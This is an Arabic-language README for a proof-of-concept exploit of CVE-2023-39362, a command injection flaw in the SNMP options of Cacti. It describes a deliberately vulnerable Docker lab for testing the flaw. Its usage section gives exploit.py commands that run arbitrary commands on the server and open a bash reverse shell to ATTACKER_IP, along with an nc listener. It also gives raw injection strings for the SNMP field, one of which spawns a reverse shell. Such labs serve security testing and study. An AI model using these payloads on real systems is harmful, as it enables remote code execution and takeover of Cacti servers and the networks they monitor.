
استغلال إثبات المفهوم لـ CVE-2023-39362، حقن أوامر موثق في خيارات SNMP في Cacti. يتضمن بيئة Docker ضعيفة للاختبار ونص برمجي بلغة Python للاستغلال الآلي مع إمكانية الصدفة العكسية.
تم تفرع هذا المستودع من هذا المستودع: https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application
Cacti هو إطار عمل مفتوح المصدر لمراقبة التشغيل وإدارة الأعطال، يتطور باستمرار لتلبية الاحتياجات الديناميكية لمجتمع مستخدميه.
في الإصدار 1.2.24، تم تحديد ثغرة أمنية محتملة تحمل العلامة CVE-2023-39362. في ظل ظروف معينة، يمكن لمستخدم مصرح له بصلاحيات استغلال خلل في خيارات SNMP لـ جهاز، باستخدام سلسلة ضارة تؤدي إلى حقن الأوامر. يؤدي هذا الاستغلال إلى تنفيذ رمز عن بعد بشكل مصرح به على الخادم الأساسي.
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39362
آثار هذه الثغرة خطيرة، حيث يمكن لمهاجم ذي صلاحيات مصرح بها المساس بسلامة الخادم الذي يستضيف Cacti. قد يكون هذا الاختراق بمثابة بوابة للوصول غير المصرح به إلى المضيفين الآخرين داخل الشبكة، خاصة تلك التي يراقبها Cacti.
هذا تطبيق ضعيف لاختبار استغلال ثغرة Cacti (CVE-2023-39362).
يحتوي هذا التطبيق على ثغرات أمنية خطيرة. قم بتشغيله على مسؤوليتك الخاصة! يُوصى باستخدام بيئة مدعومة ومحمية (مثل جهاز افتراضي بنسخة احتياطية حديثة وشبكة مضيفة فقط). لا تقم بتحميل هذا التطبيق على أي خوادم مواجهة للإنترنت، حيث سيتم اختراقها.
أنا لا أتحمل مسؤولية الطريقة التي يستخدم بها أي شخص هذا التطبيق. الغرض الوحيد من هذا التطبيق هو أن يكون سيناريو اختبار لاستغلال CVE-2023-39362 ولا ينبغي استخدامه بشكل ضار. إذا تم اختراق خادمك من خلال تثبيت هذا التطبيق، فهذه ليست مسؤوليتي، بل مسؤولية الشخص (الأشخاص) الذين قاموا بتحميله وتثبيته.**
فيما يلي خطوات إعداد البيئة:
docker compose up -d لبدء التشكيل.admin/admin.admin.guest.guest لتجربة الاستغلال.يمكن العثور على دليل التثبيت الرسمي لـ Cacti هنا.
لـ تفكيك البيئة استخدم الأمر docker compose down.
(هذا مجرد مسار واحد محتمل للاستغلال)
تشغيل الأمر على الخادم البعيد:
python3 exploit.py --url http://localhost -u guest -p Sup3rS3cr3tPassword.1234 --cmd touch /tmp/proof
فتح شل عكسي:
nc -lvnp 4242
python3 exploit.py --url http://localhost -u guest -p Sup3rS3cr3tPassword.1234 --cmd 'bash -c "exec bash -i &>/dev/tcp/ATTACKER_IP/PORT <&1"'
public\' ; touch /tmp/proof ; \'./tmp من وجود الملف الذي تم إنشاؤه.للحصول على شل عكسي، يمكن استخدام حمولة مثل التالية.
public\' ; bash -c "exec bash -i &>/dev/tcp/<host>/<port> <&1" ; \'
يمكن العثور على سبب جذري مفصل للثغرة في الإشعار الأمني الأصلي أو على منشور المدونة للمؤلف الأصلي.
هذا المشروع مرخص بموجب Unlicense - راجع ملف LICENSE للحصول على التفاصيل.